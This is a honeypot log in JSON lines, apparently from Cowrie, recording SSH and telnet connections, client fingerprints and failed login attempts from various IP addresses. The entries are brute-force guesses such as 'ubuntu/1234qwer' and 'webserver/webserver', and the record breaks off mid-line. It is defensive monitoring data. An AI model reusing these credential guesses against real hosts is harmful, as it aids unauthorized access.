{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:23:17.908307Z","src_ip":"172.190.89.127","session":"13239720896b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.10.160.221","src_port":45644,"dst_ip":"10.17.0.5","dst_port":22,"session":"951e3f476e5e","protocol":"ssh","message":"New connection: 157.10.160.221:45644 (10.17.0.5:22) [session: 951e3f476e5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:23:32.392338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:23:32.396898Z","src_ip":"157.10.160.221","session":"951e3f476e5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:23:32.634845Z","src_ip":"157.10.160.221","session":"951e3f476e5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"david1234","message":"login attempt [david/david1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:23:33.594977Z","src_ip":"157.10.160.221","session":"951e3f476e5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:23:34.843519Z","src_ip":"157.10.160.221","session":"951e3f476e5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.164.113.63","src_port":50226,"dst_ip":"159.203.135.109","dst_port":22,"session":"36360cfe61a8","protocol":"ssh","message":"New connection: 95.164.113.63:50226 (159.203.135.109:22) [session: 36360cfe61a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:23:42.408092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:23:42.415287Z","src_ip":"95.164.113.63","session":"36360cfe61a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:23:42.535561Z","src_ip":"95.164.113.63","session":"36360cfe61a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpnbot","password":"vpnbot123","message":"login attempt [vpnbot/vpnbot123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:23:43.060977Z","src_ip":"95.164.113.63","session":"36360cfe61a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:23:44.182320Z","src_ip":"95.164.113.63","session":"36360cfe61a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.134.9.27","src_port":44682,"dst_ip":"159.203.135.109","dst_port":22,"session":"18a60c3acbf0","protocol":"ssh","message":"New connection: 45.134.9.27:44682 (159.203.135.109:22) [session: 18a60c3acbf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:24:05.255255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:24:05.259292Z","src_ip":"45.134.9.27","session":"18a60c3acbf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:24:05.341110Z","src_ip":"45.134.9.27","session":"18a60c3acbf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omm","password":"Omm123","message":"login attempt [omm/Omm123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:24:05.654112Z","src_ip":"45.134.9.27","session":"18a60c3acbf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:24:06.725491Z","src_ip":"45.134.9.27","session":"18a60c3acbf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.5.169.138","src_port":35856,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d793d030013","protocol":"ssh","message":"New connection: 150.5.169.138:35856 (10.17.0.5:22) [session: 1d793d030013]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:24:37.534221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:24:37.538770Z","src_ip":"150.5.169.138","session":"1d793d030013","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:24:37.752307Z","src_ip":"150.5.169.138","session":"1d793d030013","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"upload","password":"123456","message":"login attempt [upload/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:24:38.638145Z","src_ip":"150.5.169.138","session":"1d793d030013","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:24:39.853941Z","src_ip":"150.5.169.138","session":"1d793d030013","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.156.173","src_port":40934,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0bd5e6d23a3","protocol":"ssh","message":"New connection: 182.253.156.173:40934 (159.203.135.109:22) [session: a0bd5e6d23a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:24:46.414143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:24:46.418178Z","src_ip":"182.253.156.173","session":"a0bd5e6d23a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:24:46.675655Z","src_ip":"182.253.156.173","session":"a0bd5e6d23a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:24:47.731244Z","src_ip":"182.253.156.173","session":"a0bd5e6d23a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.211.56.214","src_port":39908,"dst_ip":"159.203.135.109","dst_port":22,"session":"36063090e354","protocol":"ssh","message":"New connection: 172.211.56.214:39908 (159.203.135.109:22) [session: 36063090e354]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:24:48.294528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:24:48.299457Z","src_ip":"172.211.56.214","session":"36063090e354","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:24:48.394641Z","src_ip":"172.211.56.214","session":"36063090e354","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webserver","password":"webserver","message":"login attempt [webserver/webserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:24:48.798701Z","src_ip":"172.211.56.214","session":"36063090e354","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:24:48.989003Z","src_ip":"182.253.156.173","session":"a0bd5e6d23a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:24:49.922789Z","src_ip":"172.211.56.214","session":"36063090e354","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.121.246.49","src_port":35424,"dst_ip":"159.203.135.109","dst_port":23,"session":"67d485b29ee7","protocol":"telnet","message":"New connection: 138.121.246.49:35424 (159.203.135.109:23) [session: 67d485b29ee7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:25:01.541422Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.164.113.63","src_port":57262,"dst_ip":"159.203.135.109","dst_port":22,"session":"0de1e9e25556","protocol":"ssh","message":"New connection: 95.164.113.63:57262 (159.203.135.109:22) [session: 0de1e9e25556]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:25:13.281135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:25:13.285885Z","src_ip":"95.164.113.63","session":"0de1e9e25556","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:25:13.413445Z","src_ip":"95.164.113.63","session":"0de1e9e25556","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webserver","password":"webserver","message":"login attempt [webserver/webserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:25:13.906335Z","src_ip":"95.164.113.63","session":"0de1e9e25556","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:25:15.022694Z","src_ip":"95.164.113.63","session":"0de1e9e25556","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.190.89.127","src_port":35978,"dst_ip":"159.203.135.109","dst_port":22,"session":"023e8f5e36f7","protocol":"ssh","message":"New connection: 172.190.89.127:35978 (159.203.135.109:22) [session: 023e8f5e36f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:25:21.710477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:25:21.715142Z","src_ip":"172.190.89.127","session":"023e8f5e36f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:25:21.728419Z","src_ip":"172.190.89.127","session":"023e8f5e36f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:25:21.809481Z","src_ip":"172.190.89.127","session":"023e8f5e36f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:25:22.824298Z","src_ip":"172.190.89.127","session":"023e8f5e36f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":33762,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ea1da84475c","protocol":"ssh","message":"New connection: 2.57.122.210:33762 (159.203.135.109:22) [session: 5ea1da84475c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:25:24.264891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:25:24.313452Z","src_ip":"2.57.122.210","session":"5ea1da84475c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 